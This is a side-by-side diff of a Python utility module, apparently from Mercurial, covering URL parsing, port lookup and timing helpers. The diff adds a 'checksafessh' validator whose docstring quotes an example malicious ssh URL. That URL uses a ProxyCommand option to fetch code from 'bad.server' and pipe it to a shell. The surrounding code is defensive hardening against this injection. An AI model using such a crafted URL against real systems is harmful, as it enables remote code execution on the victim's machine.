2557 | If port is an integer, it's returned as is. If it's a string, it's | |
2558 | looked up using socket.getservbyname(). If there's no matching |
|
2558 | looked up using socket.getservbyname(). If there's no matching | |
2559 | service, error.Abort is raised. |
|
2559 | service, error.Abort is raised. | |
2560 | """ |
|
2560 | """ | |
2561 | try: |
|
2561 | try: | |
2562 | return int(port) |
|
2562 | return int(port) | |
2563 | except ValueError: |
|
2563 | except ValueError: | |
2564 | pass |
|
2564 | pass | |
2565 |
|
2565 | |||
2566 | try: |
|
2566 | try: | |
2567 | return socket.getservbyname(port) |
|
2567 | return socket.getservbyname(port) | |
2568 | except socket.error: |
|
2568 | except socket.error: | |
2569 | raise Abort(_("no port number associated with service '%s'") % port) |
|
2569 | raise Abort(_("no port number associated with service '%s'") % port) | |
2570 |
|
2570 | |||
2571 | _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True, |
|
2571 | _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True, | |
2572 | '0': False, 'no': False, 'false': False, 'off': False, |
|
2572 | '0': False, 'no': False, 'false': False, 'off': False, | |
2573 | 'never': False} |
|
2573 | 'never': False} | |
2574 |
|
2574 | |||
2575 | def parsebool(s): |
|
2575 | def parsebool(s): | |
2576 | """Parse s into a boolean. |
|
2576 | """Parse s into a boolean. | |
2577 |
|
2577 | |||
2578 | If s is not a valid boolean, returns None. |
|
2578 | If s is not a valid boolean, returns None. | |
2579 | """ |
|
2579 | """ | |
2580 | return _booleans.get(s.lower(), None) |
|
2580 | return _booleans.get(s.lower(), None) | |
2581 |
|
2581 | |||
2582 | _hextochr = dict((a + b, chr(int(a + b, 16))) |
|
2582 | _hextochr = dict((a + b, chr(int(a + b, 16))) | |
2583 | for a in string.hexdigits for b in string.hexdigits) |
|
2583 | for a in string.hexdigits for b in string.hexdigits) | |
2584 |
|
2584 | |||
2585 | class url(object): |
|
2585 | class url(object): | |
2586 | r"""Reliable URL parser. |
|
2586 | r"""Reliable URL parser. | |
2587 |
|
2587 | |||
2588 | This parses URLs and provides attributes for the following |
|
2588 | This parses URLs and provides attributes for the following | |
2589 | components: |
|
2589 | components: | |
2590 |
|
2590 | |||
2591 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
|
2591 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> | |
2592 |
|
2592 | |||
2593 | Missing components are set to None. The only exception is |
|
2593 | Missing components are set to None. The only exception is | |
2594 | fragment, which is set to '' if present but empty. |
|
2594 | fragment, which is set to '' if present but empty. | |
2595 |
|
2595 | |||
2596 | If parsefragment is False, fragment is included in query. If |
|
2596 | If parsefragment is False, fragment is included in query. If | |
2597 | parsequery is False, query is included in path. If both are |
|
2597 | parsequery is False, query is included in path. If both are | |
2598 | False, both fragment and query are included in path. |
|
2598 | False, both fragment and query are included in path. | |
2599 |
|
2599 | |||
2600 | See http://www.ietf.org/rfc/rfc2396.txt for more information. |
|
2600 | See http://www.ietf.org/rfc/rfc2396.txt for more information. | |
2601 |
|
2601 | |||
2602 | Note that for backward compatibility reasons, bundle URLs do not |
|
2602 | Note that for backward compatibility reasons, bundle URLs do not | |
2603 | take host names. That means 'bundle://../' has a path of '../'. |
|
2603 | take host names. That means 'bundle://../' has a path of '../'. | |
2604 |
|
2604 | |||
2605 | Examples: |
|
2605 | Examples: | |
2606 |
|
2606 | |||
2607 | >>> url('http://www.ietf.org/rfc/rfc2396.txt') |
|
2607 | >>> url('http://www.ietf.org/rfc/rfc2396.txt') | |
2608 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
|
2608 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> | |
2609 | >>> url('ssh://[::1]:2200//home/joe/repo') |
|
2609 | >>> url('ssh://[::1]:2200//home/joe/repo') | |
2610 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
|
2610 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> | |
2611 | >>> url('file:///home/joe/repo') |
|
2611 | >>> url('file:///home/joe/repo') | |
2612 | <url scheme: 'file', path: '/home/joe/repo'> |
|
2612 | <url scheme: 'file', path: '/home/joe/repo'> | |
2613 | >>> url('file:///c:/temp/foo/') |
|
2613 | >>> url('file:///c:/temp/foo/') | |
2614 | <url scheme: 'file', path: 'c:/temp/foo/'> |
|
2614 | <url scheme: 'file', path: 'c:/temp/foo/'> | |
2615 | >>> url('bundle:foo') |
|
2615 | >>> url('bundle:foo') | |
2616 | <url scheme: 'bundle', path: 'foo'> |
|
2616 | <url scheme: 'bundle', path: 'foo'> | |
2617 | >>> url('bundle://../foo') |
|
2617 | >>> url('bundle://../foo') | |
2618 | <url scheme: 'bundle', path: '../foo'> |
|
2618 | <url scheme: 'bundle', path: '../foo'> | |
2619 | >>> url(r'c:\foo\bar') |
|
2619 | >>> url(r'c:\foo\bar') | |
2620 | <url path: 'c:\\foo\\bar'> |
|
2620 | <url path: 'c:\\foo\\bar'> | |
2621 | >>> url(r'\\blah\blah\blah') |
|
2621 | >>> url(r'\\blah\blah\blah') | |
2622 | <url path: '\\\\blah\\blah\\blah'> |
|
2622 | <url path: '\\\\blah\\blah\\blah'> | |
2623 | >>> url(r'\\blah\blah\blah#baz') |
|
2623 | >>> url(r'\\blah\blah\blah#baz') | |
2624 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
|
2624 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> | |
2625 | >>> url(r'file:///C:\users\me') |
|
2625 | >>> url(r'file:///C:\users\me') | |
2626 | <url scheme: 'file', path: 'C:\\users\\me'> |
|
2626 | <url scheme: 'file', path: 'C:\\users\\me'> | |
2627 |
|
2627 | |||
2628 | Authentication credentials: |
|
2628 | Authentication credentials: | |
2629 |
|
2629 | |||
2630 | >>> url('ssh://joe:xyz@x/repo') |
|
2630 | >>> url('ssh://joe:xyz@x/repo') | |
2631 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
|
2631 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> | |
2632 | >>> url('ssh://joe@x/repo') |
|
2632 | >>> url('ssh://joe@x/repo') | |
2633 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
|
2633 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> | |
2634 |
|
2634 | |||
2635 | Query strings and fragments: |
|
2635 | Query strings and fragments: | |
2636 |
|
2636 | |||
2637 | >>> url('http://host/a?b#c') |
|
2637 | >>> url('http://host/a?b#c') | |
2638 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
|
2638 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> | |
2639 | >>> url('http://host/a?b#c', parsequery=False, parsefragment=False) |
|
2639 | >>> url('http://host/a?b#c', parsequery=False, parsefragment=False) | |
2640 | <url scheme: 'http', host: 'host', path: 'a?b#c'> |
|
2640 | <url scheme: 'http', host: 'host', path: 'a?b#c'> | |
2641 |
|
2641 | |||
2642 | Empty path: |
|
2642 | Empty path: | |
2643 |
|
2643 | |||
2644 | >>> url('') |
|
2644 | >>> url('') | |
2645 | <url path: ''> |
|
2645 | <url path: ''> | |
2646 | >>> url('#a') |
|
2646 | >>> url('#a') | |
2647 | <url path: '', fragment: 'a'> |
|
2647 | <url path: '', fragment: 'a'> | |
2648 | >>> url('http://host/') |
|
2648 | >>> url('http://host/') | |
2649 | <url scheme: 'http', host: 'host', path: ''> |
|
2649 | <url scheme: 'http', host: 'host', path: ''> | |
2650 | >>> url('http://host/#a') |
|
2650 | >>> url('http://host/#a') | |
2651 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
|
2651 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> | |
2652 |
|
2652 | |||
2653 | Only scheme: |
|
2653 | Only scheme: | |
2654 |
|
2654 | |||
2655 | >>> url('http:') |
|
2655 | >>> url('http:') | |
2656 | <url scheme: 'http'> |
|
2656 | <url scheme: 'http'> | |
2657 | """ |
|
2657 | """ | |
2658 |
|
2658 | |||
2659 | _safechars = "!~*'()+" |
|
2659 | _safechars = "!~*'()+" | |
2660 | _safepchars = "/!~*'()+:\\" |
|
2660 | _safepchars = "/!~*'()+:\\" | |
2661 | _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match |
|
2661 | _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match | |
2662 |
|
2662 | |||
2663 | def __init__(self, path, parsequery=True, parsefragment=True): |
|
2663 | def __init__(self, path, parsequery=True, parsefragment=True): | |
2664 | # We slowly chomp away at path until we have only the path left |
|
2664 | # We slowly chomp away at path until we have only the path left | |
2665 | self.scheme = self.user = self.passwd = self.host = None |
|
2665 | self.scheme = self.user = self.passwd = self.host = None | |
2666 | self.port = self.path = self.query = self.fragment = None |
|
2666 | self.port = self.path = self.query = self.fragment = None | |
2667 | self._localpath = True |
|
2667 | self._localpath = True | |
2668 | self._hostport = '' |
|
2668 | self._hostport = '' | |
2669 | self._origpath = path |
|
2669 | self._origpath = path | |
2670 |
|
2670 | |||
2671 | if parsefragment and '#' in path: |
|
2671 | if parsefragment and '#' in path: | |
2672 | path, self.fragment = path.split('#', 1) |
|
2672 | path, self.fragment = path.split('#', 1) | |
2673 |
|
2673 | |||
2674 | # special case for Windows drive letters and UNC paths |
|
2674 | # special case for Windows drive letters and UNC paths | |
2675 | if hasdriveletter(path) or path.startswith('\\\\'): |
|
2675 | if hasdriveletter(path) or path.startswith('\\\\'): | |
2676 | self.path = path |
|
2676 | self.path = path | |
2677 | return |
|
2677 | return | |
2678 |
|
2678 | |||
2679 | # For compatibility reasons, we can't handle bundle paths as |
|
2679 | # For compatibility reasons, we can't handle bundle paths as | |
2680 | # normal URLS |
|
2680 | # normal URLS | |
2681 | if path.startswith('bundle:'): |
|
2681 | if path.startswith('bundle:'): | |
2682 | self.scheme = 'bundle' |
|
2682 | self.scheme = 'bundle' | |
2683 | path = path[7:] |
|
2683 | path = path[7:] | |
2684 | if path.startswith('//'): |
|
2684 | if path.startswith('//'): | |
2685 | path = path[2:] |
|
2685 | path = path[2:] | |
2686 | self.path = path |
|
2686 | self.path = path | |
2687 | return |
|
2687 | return | |
2688 |
|
2688 | |||
2689 | if self._matchscheme(path): |
|
2689 | if self._matchscheme(path): | |
2690 | parts = path.split(':', 1) |
|
2690 | parts = path.split(':', 1) | |
2691 | if parts[0]: |
|
2691 | if parts[0]: | |
2692 | self.scheme, path = parts |
|
2692 | self.scheme, path = parts | |
2693 | self._localpath = False |
|
2693 | self._localpath = False | |
2694 |
|
2694 | |||
2695 | if not path: |
|
2695 | if not path: | |
2696 | path = None |
|
2696 | path = None | |
2697 | if self._localpath: |
|
2697 | if self._localpath: | |
2698 | self.path = '' |
|
2698 | self.path = '' | |
2699 | return |
|
2699 | return | |
2700 | else: |
|
2700 | else: | |
2701 | if self._localpath: |
|
2701 | if self._localpath: | |
2702 | self.path = path |
|
2702 | self.path = path | |
2703 | return |
|
2703 | return | |
2704 |
|
2704 | |||
2705 | if parsequery and '?' in path: |
|
2705 | if parsequery and '?' in path: | |
2706 | path, self.query = path.split('?', 1) |
|
2706 | path, self.query = path.split('?', 1) | |
2707 | if not path: |
|
2707 | if not path: | |
2708 | path = None |
|
2708 | path = None | |
2709 | if not self.query: |
|
2709 | if not self.query: | |
2710 | self.query = None |
|
2710 | self.query = None | |
2711 |
|
2711 | |||
2712 | # // is required to specify a host/authority |
|
2712 | # // is required to specify a host/authority | |
2713 | if path and path.startswith('//'): |
|
2713 | if path and path.startswith('//'): | |
2714 | parts = path[2:].split('/', 1) |
|
2714 | parts = path[2:].split('/', 1) | |
2715 | if len(parts) > 1: |
|
2715 | if len(parts) > 1: | |
2716 | self.host, path = parts |
|
2716 | self.host, path = parts | |
2717 | else: |
|
2717 | else: | |
2718 | self.host = parts[0] |
|
2718 | self.host = parts[0] | |
2719 | path = None |
|
2719 | path = None | |
2720 | if not self.host: |
|
2720 | if not self.host: | |
2721 | self.host = None |
|
2721 | self.host = None | |
2722 | # path of file:///d is /d |
|
2722 | # path of file:///d is /d | |
2723 | # path of file:///d:/ is d:/, not /d:/ |
|
2723 | # path of file:///d:/ is d:/, not /d:/ | |
2724 | if path and not hasdriveletter(path): |
|
2724 | if path and not hasdriveletter(path): | |
2725 | path = '/' + path |
|
2725 | path = '/' + path | |
2726 |
|
2726 | |||
2727 | if self.host and '@' in self.host: |
|
2727 | if self.host and '@' in self.host: | |
2728 | self.user, self.host = self.host.rsplit('@', 1) |
|
2728 | self.user, self.host = self.host.rsplit('@', 1) | |
2729 | if ':' in self.user: |
|
2729 | if ':' in self.user: | |
2730 | self.user, self.passwd = self.user.split(':', 1) |
|
2730 | self.user, self.passwd = self.user.split(':', 1) | |
2731 | if not self.host: |
|
2731 | if not self.host: | |
2732 | self.host = None |
|
2732 | self.host = None | |
2733 |
|
2733 | |||
2734 | # Don't split on colons in IPv6 addresses without ports |
|
2734 | # Don't split on colons in IPv6 addresses without ports | |
2735 | if (self.host and ':' in self.host and |
|
2735 | if (self.host and ':' in self.host and | |
2736 | not (self.host.startswith('[') and self.host.endswith(']'))): |
|
2736 | not (self.host.startswith('[') and self.host.endswith(']'))): | |
2737 | self._hostport = self.host |
|
2737 | self._hostport = self.host | |
2738 | self.host, self.port = self.host.rsplit(':', 1) |
|
2738 | self.host, self.port = self.host.rsplit(':', 1) | |
2739 | if not self.host: |
|
2739 | if not self.host: | |
2740 | self.host = None |
|
2740 | self.host = None | |
2741 |
|
2741 | |||
2742 | if (self.host and self.scheme == 'file' and |
|
2742 | if (self.host and self.scheme == 'file' and | |
2743 | self.host not in ('localhost', '127.0.0.1', '[::1]')): |
|
2743 | self.host not in ('localhost', '127.0.0.1', '[::1]')): | |
2744 | raise Abort(_('file:// URLs can only refer to localhost')) |
|
2744 | raise Abort(_('file:// URLs can only refer to localhost')) | |
2745 |
|
2745 | |||
2746 | self.path = path |
|
2746 | self.path = path | |
2747 |
|
2747 | |||
2748 | # leave the query string escaped |
|
2748 | # leave the query string escaped | |
2749 | for a in ('user', 'passwd', 'host', 'port', |
|
2749 | for a in ('user', 'passwd', 'host', 'port', | |
2750 | 'path', 'fragment'): |
|
2750 | 'path', 'fragment'): | |
2751 | v = getattr(self, a) |
|
2751 | v = getattr(self, a) | |
2752 | if v is not None: |
|
2752 | if v is not None: | |
2753 | setattr(self, a, urlreq.unquote(v)) |
|
2753 | setattr(self, a, urlreq.unquote(v)) | |
2754 |
|
2754 | |||
2755 | def __repr__(self): |
|
2755 | def __repr__(self): | |
2756 | attrs = [] |
|
2756 | attrs = [] | |
2757 | for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path', |
|
2757 | for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path', | |
2758 | 'query', 'fragment'): |
|
2758 | 'query', 'fragment'): | |
2759 | v = getattr(self, a) |
|
2759 | v = getattr(self, a) | |
2760 | if v is not None: |
|
2760 | if v is not None: | |
2761 | attrs.append('%s: %r' % (a, v)) |
|
2761 | attrs.append('%s: %r' % (a, v)) | |
2762 | return '<url %s>' % ', '.join(attrs) |
|
2762 | return '<url %s>' % ', '.join(attrs) | |
2763 |
|
2763 | |||
2764 | def __bytes__(self): |
|
2764 | def __bytes__(self): | |
2765 | r"""Join the URL's components back into a URL string. |
|
2765 | r"""Join the URL's components back into a URL string. | |
2766 |
|
2766 | |||
2767 | Examples: |
|
2767 | Examples: | |
2768 |
|
2768 | |||
2769 | >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
|
2769 | >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) | |
2770 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
|
2770 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' | |
2771 | >>> str(url('http://user:pw@host:80/?foo=bar&baz=42')) |
|
2771 | >>> str(url('http://user:pw@host:80/?foo=bar&baz=42')) | |
2772 | 'http://user:pw@host:80/?foo=bar&baz=42' |
|
2772 | 'http://user:pw@host:80/?foo=bar&baz=42' | |
2773 | >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz')) |
|
2773 | >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz')) | |
2774 | 'http://user:pw@host:80/?foo=bar%3dbaz' |
|
2774 | 'http://user:pw@host:80/?foo=bar%3dbaz' | |
2775 | >>> str(url('ssh://user:pw@[::1]:2200//home/joe#')) |
|
2775 | >>> str(url('ssh://user:pw@[::1]:2200//home/joe#')) | |
2776 | 'ssh://user:pw@[::1]:2200//home/joe#' |
|
2776 | 'ssh://user:pw@[::1]:2200//home/joe#' | |
2777 | >>> str(url('http://localhost:80//')) |
|
2777 | >>> str(url('http://localhost:80//')) | |
2778 | 'http://localhost:80//' |
|
2778 | 'http://localhost:80//' | |
2779 | >>> str(url('http://localhost:80/')) |
|
2779 | >>> str(url('http://localhost:80/')) | |
2780 | 'http://localhost:80/' |
|
2780 | 'http://localhost:80/' | |
2781 | >>> str(url('http://localhost:80')) |
|
2781 | >>> str(url('http://localhost:80')) | |
2782 | 'http://localhost:80/' |
|
2782 | 'http://localhost:80/' | |
2783 | >>> str(url('bundle:foo')) |
|
2783 | >>> str(url('bundle:foo')) | |
2784 | 'bundle:foo' |
|
2784 | 'bundle:foo' | |
2785 | >>> str(url('bundle://../foo')) |
|
2785 | >>> str(url('bundle://../foo')) | |
2786 | 'bundle:../foo' |
|
2786 | 'bundle:../foo' | |
2787 | >>> str(url('path')) |
|
2787 | >>> str(url('path')) | |
2788 | 'path' |
|
2788 | 'path' | |
2789 | >>> str(url('file:///tmp/foo/bar')) |
|
2789 | >>> str(url('file:///tmp/foo/bar')) | |
2790 | 'file:///tmp/foo/bar' |
|
2790 | 'file:///tmp/foo/bar' | |
2791 | >>> str(url('file:///c:/tmp/foo/bar')) |
|
2791 | >>> str(url('file:///c:/tmp/foo/bar')) | |
2792 | 'file:///c:/tmp/foo/bar' |
|
2792 | 'file:///c:/tmp/foo/bar' | |
2793 | >>> print url(r'bundle:foo\bar') |
|
2793 | >>> print url(r'bundle:foo\bar') | |
2794 | bundle:foo\bar |
|
2794 | bundle:foo\bar | |
2795 | >>> print url(r'file:///D:\data\hg') |
|
2795 | >>> print url(r'file:///D:\data\hg') | |
2796 | file:///D:\data\hg |
|
2796 | file:///D:\data\hg | |
2797 | """ |
|
2797 | """ | |
2798 | if self._localpath: |
|
2798 | if self._localpath: | |
2799 | s = self.path |
|
2799 | s = self.path | |
2800 | if self.scheme == 'bundle': |
|
2800 | if self.scheme == 'bundle': | |
2801 | s = 'bundle:' + s |
|
2801 | s = 'bundle:' + s | |
2802 | if self.fragment: |
|
2802 | if self.fragment: | |
2803 | s += '#' + self.fragment |
|
2803 | s += '#' + self.fragment | |
2804 | return s |
|
2804 | return s | |
2805 |
|
2805 | |||
2806 | s = self.scheme + ':' |
|
2806 | s = self.scheme + ':' | |
2807 | if self.user or self.passwd or self.host: |
|
2807 | if self.user or self.passwd or self.host: | |
2808 | s += '//' |
|
2808 | s += '//' | |
2809 | elif self.scheme and (not self.path or self.path.startswith('/') |
|
2809 | elif self.scheme and (not self.path or self.path.startswith('/') | |
2810 | or hasdriveletter(self.path)): |
|
2810 | or hasdriveletter(self.path)): | |
2811 | s += '//' |
|
2811 | s += '//' | |
2812 | if hasdriveletter(self.path): |
|
2812 | if hasdriveletter(self.path): | |
2813 | s += '/' |
|
2813 | s += '/' | |
2814 | if self.user: |
|
2814 | if self.user: | |
2815 | s += urlreq.quote(self.user, safe=self._safechars) |
|
2815 | s += urlreq.quote(self.user, safe=self._safechars) | |
2816 | if self.passwd: |
|
2816 | if self.passwd: | |
2817 | s += ':' + urlreq.quote(self.passwd, safe=self._safechars) |
|
2817 | s += ':' + urlreq.quote(self.passwd, safe=self._safechars) | |
2818 | if self.user or self.passwd: |
|
2818 | if self.user or self.passwd: | |
2819 | s += '@' |
|
2819 | s += '@' | |
2820 | if self.host: |
|
2820 | if self.host: | |
2821 | if not (self.host.startswith('[') and self.host.endswith(']')): |
|
2821 | if not (self.host.startswith('[') and self.host.endswith(']')): | |
2822 | s += urlreq.quote(self.host) |
|
2822 | s += urlreq.quote(self.host) | |
2823 | else: |
|
2823 | else: | |
2824 | s += self.host |
|
2824 | s += self.host | |
2825 | if self.port: |
|
2825 | if self.port: | |
2826 | s += ':' + urlreq.quote(self.port) |
|
2826 | s += ':' + urlreq.quote(self.port) | |
2827 | if self.host: |
|
2827 | if self.host: | |
2828 | s += '/' |
|
2828 | s += '/' | |
2829 | if self.path: |
|
2829 | if self.path: | |
2830 | # TODO: similar to the query string, we should not unescape the |
|
2830 | # TODO: similar to the query string, we should not unescape the | |
2831 | # path when we store it, the path might contain '%2f' = '/', |
|
2831 | # path when we store it, the path might contain '%2f' = '/', | |
2832 | # which we should *not* escape. |
|
2832 | # which we should *not* escape. | |
2833 | s += urlreq.quote(self.path, safe=self._safepchars) |
|
2833 | s += urlreq.quote(self.path, safe=self._safepchars) | |
2834 | if self.query: |
|
2834 | if self.query: | |
2835 | # we store the query in escaped form. |
|
2835 | # we store the query in escaped form. | |
2836 | s += '?' + self.query |
|
2836 | s += '?' + self.query | |
2837 | if self.fragment is not None: |
|
2837 | if self.fragment is not None: | |
2838 | s += '#' + urlreq.quote(self.fragment, safe=self._safepchars) |
|
2838 | s += '#' + urlreq.quote(self.fragment, safe=self._safepchars) | |
2839 | return s |
|
2839 | return s | |
2840 |
|
2840 | |||
2841 | __str__ = encoding.strmethod(__bytes__) |
|
2841 | __str__ = encoding.strmethod(__bytes__) | |
2842 |
|
2842 | |||
2843 | def authinfo(self): |
|
2843 | def authinfo(self): | |
2844 | user, passwd = self.user, self.passwd |
|
2844 | user, passwd = self.user, self.passwd | |
2845 | try: |
|
2845 | try: | |
2846 | self.user, self.passwd = None, None |
|
2846 | self.user, self.passwd = None, None | |
2847 | s = bytes(self) |
|
2847 | s = bytes(self) | |
2848 | finally: |
|
2848 | finally: | |
2849 | self.user, self.passwd = user, passwd |
|
2849 | self.user, self.passwd = user, passwd | |
2850 | if not self.user: |
|
2850 | if not self.user: | |
2851 | return (s, None) |
|
2851 | return (s, None) | |
2852 | # authinfo[1] is passed to urllib2 password manager, and its |
|
2852 | # authinfo[1] is passed to urllib2 password manager, and its | |
2853 | # URIs must not contain credentials. The host is passed in the |
|
2853 | # URIs must not contain credentials. The host is passed in the | |
2854 | # URIs list because Python < 2.4.3 uses only that to search for |
|
2854 | # URIs list because Python < 2.4.3 uses only that to search for | |
2855 | # a password. |
|
2855 | # a password. | |
2856 | return (s, (None, (s, self.host), |
|
2856 | return (s, (None, (s, self.host), | |
2857 | self.user, self.passwd or '')) |
|
2857 | self.user, self.passwd or '')) | |
2858 |
|
2858 | |||
2859 | def isabs(self): |
|
2859 | def isabs(self): | |
2860 | if self.scheme and self.scheme != 'file': |
|
2860 | if self.scheme and self.scheme != 'file': | |
2861 | return True # remote URL |
|
2861 | return True # remote URL | |
2862 | if hasdriveletter(self.path): |
|
2862 | if hasdriveletter(self.path): | |
2863 | return True # absolute for our purposes - can't be joined() |
|
2863 | return True # absolute for our purposes - can't be joined() | |
2864 | if self.path.startswith(br'\\'): |
|
2864 | if self.path.startswith(br'\\'): | |
2865 | return True # Windows UNC path |
|
2865 | return True # Windows UNC path | |
2866 | if self.path.startswith('/'): |
|
2866 | if self.path.startswith('/'): | |
2867 | return True # POSIX-style |
|
2867 | return True # POSIX-style | |
2868 | return False |
|
2868 | return False | |
2869 |
|
2869 | |||
2870 | def localpath(self): |
|
2870 | def localpath(self): | |
2871 | if self.scheme == 'file' or self.scheme == 'bundle': |
|
2871 | if self.scheme == 'file' or self.scheme == 'bundle': | |
2872 | path = self.path or '/' |
|
2872 | path = self.path or '/' | |
2873 | # For Windows, we need to promote hosts containing drive |
|
2873 | # For Windows, we need to promote hosts containing drive | |
2874 | # letters to paths with drive letters. |
|
2874 | # letters to paths with drive letters. | |
2875 | if hasdriveletter(self._hostport): |
|
2875 | if hasdriveletter(self._hostport): | |
2876 | path = self._hostport + '/' + self.path |
|
2876 | path = self._hostport + '/' + self.path | |
2877 | elif (self.host is not None and self.path |
|
2877 | elif (self.host is not None and self.path | |
2878 | and not hasdriveletter(path)): |
|
2878 | and not hasdriveletter(path)): | |
2879 | path = '/' + path |
|
2879 | path = '/' + path | |
2880 | return path |
|
2880 | return path | |
2881 | return self._origpath |
|
2881 | return self._origpath | |
2882 |
|
2882 | |||
2883 | def islocal(self): |
|
2883 | def islocal(self): | |
2884 | '''whether localpath will return something that posixfile can open''' |
|
2884 | '''whether localpath will return something that posixfile can open''' | |
2885 | return (not self.scheme or self.scheme == 'file' |
|
2885 | return (not self.scheme or self.scheme == 'file' | |
2886 | or self.scheme == 'bundle') |
|
2886 | or self.scheme == 'bundle') | |
2887 |
|
2887 | |||
2888 | def hasscheme(path): |
|
2888 | def hasscheme(path): | |
2889 | return bool(url(path).scheme) |
|
2889 | return bool(url(path).scheme) | |
2890 |
|
2890 | |||
2891 | def hasdriveletter(path): |
|
2891 | def hasdriveletter(path): | |
2892 | return path and path[1:2] == ':' and path[0:1].isalpha() |
|
2892 | return path and path[1:2] == ':' and path[0:1].isalpha() | |
2893 |
|
2893 | |||
2894 | def urllocalpath(path): |
|
2894 | def urllocalpath(path): | |
2895 | return url(path, parsequery=False, parsefragment=False).localpath() |
|
2895 | return url(path, parsequery=False, parsefragment=False).localpath() | |
2896 |
|
2896 | |||
|
2897 | def checksafessh(path): | |||
|
2898 | """check if a path / url is a potentially unsafe ssh exploit (SEC) | |||
|
2899 | ||||
|
2900 | This is a sanity check for ssh urls. ssh will parse the first item as | |||
|
2901 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | |||
|
2902 | Let's prevent these potentially exploited urls entirely and warn the | |||
|
2903 | user. | |||
|
2904 | ||||
|
2905 | Raises an error.Abort when the url is unsafe. | |||
|
2906 | """ | |||
|
2907 | path = urlreq.unquote(path) | |||
|
2908 | if path.startswith('ssh://-') or '|' in path: | |||
|
2909 | raise error.Abort(_('potentially unsafe url: %r') % | |||
|
2910 | (path,)) | |||
|
2911 | ||||
2897 | def hidepassword(u): |
|
2912 | def hidepassword(u): | |
2898 | '''hide user credential in a url string''' |
|
2913 | '''hide user credential in a url string''' | |
2899 | u = url(u) |
|
2914 | u = url(u) | |
2900 | if u.passwd: |
|
2915 | if u.passwd: | |
2901 | u.passwd = '***' |
|
2916 | u.passwd = '***' | |
2902 | return bytes(u) |
|
2917 | return bytes(u) | |
2903 |
|
2918 | |||
2904 | def removeauth(u): |
|
2919 | def removeauth(u): | |
2905 | '''remove all authentication information from a url string''' |
|
2920 | '''remove all authentication information from a url string''' | |
2906 | u = url(u) |
|
2921 | u = url(u) | |
2907 | u.user = u.passwd = None |
|
2922 | u.user = u.passwd = None | |
2908 | return str(u) |
|
2923 | return str(u) | |
2909 |
|
2924 | |||
2910 | timecount = unitcountfn( |
|
2925 | timecount = unitcountfn( | |
2911 | (1, 1e3, _('%.0f s')), |
|
2926 | (1, 1e3, _('%.0f s')), | |
2912 | (100, 1, _('%.1f s')), |
|
2927 | (100, 1, _('%.1f s')), | |
2913 | (10, 1, _('%.2f s')), |
|
2928 | (10, 1, _('%.2f s')), | |
2914 | (1, 1, _('%.3f s')), |
|
2929 | (1, 1, _('%.3f s')), | |
2915 | (100, 0.001, _('%.1f ms')), |
|
2930 | (100, 0.001, _('%.1f ms')), | |
2916 | (10, 0.001, _('%.2f ms')), |
|
2931 | (10, 0.001, _('%.2f ms')), | |
2917 | (1, 0.001, _('%.3f ms')), |
|
2932 | (1, 0.001, _('%.3f ms')), | |
2918 | (100, 0.000001, _('%.1f us')), |
|
2933 | (100, 0.000001, _('%.1f us')), | |
2919 | (10, 0.000001, _('%.2f us')), |
|
2934 | (10, 0.000001, _('%.2f us')), | |
2920 | (1, 0.000001, _('%.3f us')), |
|
2935 | (1, 0.000001, _('%.3f us')), | |
2921 | (100, 0.000000001, _('%.1f ns')), |
|
2936 | (100, 0.000000001, _('%.1f ns')), | |
2922 | (10, 0.000000001, _('%.2f ns')), |
|
2937 | (10, 0.000000001, _('%.2f ns')), | |
2923 | (1, 0.000000001, _('%.3f ns')), |
|
2938 | (1, 0.000000001, _('%.3f ns')), | |
2924 | ) |
|
2939 | ) | |
2925 |
|
2940 | |||
2926 | _timenesting = [0] |
|
2941 | _timenesting = [0] | |
2927 |
|
2942 | |||
2928 | def timed(func): |
|
2943 | def timed(func): | |
2929 | '''Report the execution time of a function call to stderr. |
|
2944 | '''Report the execution time of a function call to stderr. | |
2930 |
|
2945 | |||
2931 | During development, use as a decorator when you need to measure |
|
2946 | During development, use as a decorator when you need to measure | |
2932 | the cost of a function, e.g. as follows: |
|
2947 | the cost of a function, e.g. as follows: | |
2933 |
|
2948 | |||
2934 | @util.timed |
|
2949 | @util.timed | |
2935 | def foo(a, b, c): |
|
2950 | def foo(a, b, c): | |
2936 | pass |
|
2951 | pass | |
2937 | ''' |
|
2952 | ''' | |
2938 |
|
2953 | |||
2939 | def wrapper(*args, **kwargs): |
|
2954 | def wrapper(*args, **kwargs): | |
2940 | start = timer() |
|
2955 | start = timer() | |
2941 | indent = 2 |
|
2956 | indent = 2 | |
2942 | _timenesting[0] += indent |
|
2957 | _timenesting[0] += indent | |
2943 | try: |
|
2958 | try: | |
2944 | return func(*args, **kwargs) |
|
2959 | return func(*args, **kwargs) | |
2945 | finally: |
|
2960 | finally: | |
2946 | elapsed = timer() - start |
|
2961 | elapsed = timer() - start | |
